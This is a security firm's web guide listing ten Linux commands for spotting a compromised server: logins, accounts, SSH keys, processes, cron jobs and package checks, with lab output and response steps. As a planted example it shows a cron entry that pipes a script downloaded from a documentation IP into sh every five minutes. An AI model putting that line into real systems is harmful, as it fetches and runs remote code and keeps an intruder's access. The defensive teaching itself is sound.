To check if your Linux server is hacked, look in the places an intruder has to touch to stay on the machine: logins, user accounts, SSH keys, running processes, scheduled jobs and system files. The ten commands below cover those places. They take about fifteen minutes and need only tools the server already has.
We ran every command on Ubuntu 24.04 in our lab in November 2026. For some checks we planted a test item first, so you can see what a bad result looks like. Outputs are real and trimmed.
Before you check if your Linux server is hacked
- Do not reboot and do not delete anything yet. A reboot wipes processes and memory you may need as evidence.
- Keep notes with the time of each command. If this turns into an incident, investigators will ask for them.
- A skilled intruder with root can hide from these commands. Clean results lower the odds. They do not prove the server is clean.
1. Who is logged in, and who logged in recently
who
last -a | head -20
sudo lastb | head -20Look for logins at hours nobody works, from countries you have no staff in, or for accounts that should never log in. Our guide to Linux login history explains each file and the SSH logins that last does not show.
2. Accounts that should not exist
awk -F: '$3==0{print $1}' /etc/passwd
awk -F: '$7 !~ /(nologin|false|sync)$/{print $1":"$3":"$7}' /etc/passwdroot
root:0:/bin/bash
ubuntu:1000:/bin/bash
deploy:30033:/bin/bash
ravi:30034:/bin/bashThe first command must print only root. Any other name with UID 0 is a second root account. In the second list, every account with a login shell should be one you can put a person or a service to.
3. SSH keys you did not add
sudo find /root /home -name authorized_keys -exec ls -l --time-style=long-iso {} \;-rw-r--r-- 1 root root 93 2026-11-13 16:05 /home/deploy/.ssh/authorized_keysCheck the date, then open each file. One extra line in authorized_keys lets someone back in after you change every password. In our test the file belongs to root while it sits in the deploy user’s home. That mismatch is worth a question too.
4. Who can use sudo
getent group sudo
sudo grep -rn NOPASSWD /etc/sudoers /etc/sudoers.dsudo:x:27:ubuntu,ravi
/etc/sudoers.d/deploy:1:deploy ALL=(ALL) NOPASSWD: /usr/bin/systemctl restart nginxOn Red Hat family systems the group is wheel. A new member or a new file in /etc/sudoers.d that nobody on the team added is a strong sign.
5. Processes that do not belong
ps -eo pid,user,%cpu,%mem,lstart,cmd --sort=-%cpu | head -15Cryptocurrency miners are the most common payload on hacked servers, and they show up at the top of this list. Then look for programs that are running from a file that has since been deleted:
sudo ls -l /proc/*/exe 2>/dev/null | grep '(deleted)'lrwxrwxrwx 1 root root 0 Nov 13 16:05 /proc/1309/exe -> /tmp/kworkerd (deleted)We planted this one: a binary copied to /tmp, started, then removed. A name that imitates a kernel thread, running from /tmp, with the file deleted, is a classic pattern. A package upgrade can also leave “(deleted)” entries for normal services until they restart, so look at the path.
6. Ports that are listening
sudo ss -tulpnCompare the list with what the server should offer. A new port on 0.0.0.0 with a process you do not recognise needs an explanation. Our guide on how to check open ports on Linux shows how to read every column.
7. Scheduled jobs for every user
for u in $(cut -d: -f1 /etc/passwd); do sudo crontab -l -u "$u" 2>/dev/null | grep -v '^#' | sed "s/^/$u: /"; done
ls -la /etc/cron.d /etc/cron.daily /etc/cron.hourly
systemctl list-timers --alldeploy: */5 * * * * curl -s http://203.0.113.9/u.sh | shThat line is our planted example, with a documentation IP address. A job that downloads a script and pipes it into a shell every few minutes is how many intruders make sure they come back.
8. Services that start at boot
systemctl list-unit-files --type=service --state=enabled
sudo find /etc/systemd/system /usr/lib/systemd/system -type f -mtime -7The second command lists unit files changed in the last seven days. If you did not install or update anything in that time, the list should be empty.
9. Files changed where nothing should change
sudo find /usr/bin /usr/sbin /usr/local/bin -type f -mtime -2
sudo find /tmp /var/tmp /dev/shm -type f -perm -u+x/usr/local/bin/update-helper
/dev/shm/.xBoth are test files we created. System binaries change when packages update, so compare the dates with your update log. Executable files in /tmp or /dev/shm, and hidden ones in particular, have few innocent explanations on a server.
10. Installed files that no longer match their package
sudo dpkg -V??5?????? c /etc/nginx/nginx.conf
??5?????? /usr/bin/lsofdpkg -V compares installed files with the checksums shipped in their packages. A 5 means the content differs. The c marks a configuration file, where you expect edits. A program in /usr/bin that fails the check is not expected, and we produced the second line by altering the file on purpose. On Red Hat family systems the command is rpm -Va.
If a check finds something
- Cut the server off from the network at the firewall or security group, and leave it running.
- Take a disk snapshot before you change anything.
- Change passwords, API keys and SSH keys from a different, clean machine. Assume the intruder read everything stored on the server.
- Rebuild from a known good image and restore data from backup. Cleaning a server that had an intruder with root is not reliable.
- In India, unauthorised access to IT systems has to be reported to CERT-In within six hours of noticing it, under the CERT-In Directions of 28 April 2022.
Not sure whether your servers are exposed? Emergency exposure check, ₹2,999, 48 hours. Send us up to 5 hosts or product versions and get a written verdict for each, what to patch first and how to verify the fix. Book the check or ask a question first.
Make the next check easier
Most of these checks compare today with “normal”, so write down what normal looks like while the server is healthy. It is much easier to check if your Linux server is hacked when you know how it looked before. Save the output of checks 2, 4, 6, 7 and 8 to a file off the server. A host monitoring tool then does the comparing for you. Our Wazuh setup for a small business covers file integrity monitoring and login alerts, and Fail2ban for SSH brute force cuts down the noise in your auth log.
Free tool: see how your website looks from the outside with our website safety check. It grades HTTPS, certificate and security headers in about 30 seconds.
Related guides
- Who Logged In to My Linux Server? How to Check Login History
- SSH Hardening Checklist for Ubuntu 24.04
- Detect SSH Brute Force Attacks with Fail2ban
- Your Vendor Had a Data Breach: What to Do in the First 48 Hours
Sources
Want someone to look with you? Our VAPT services include a review of exposed services and server configuration. Contact us for a quote.
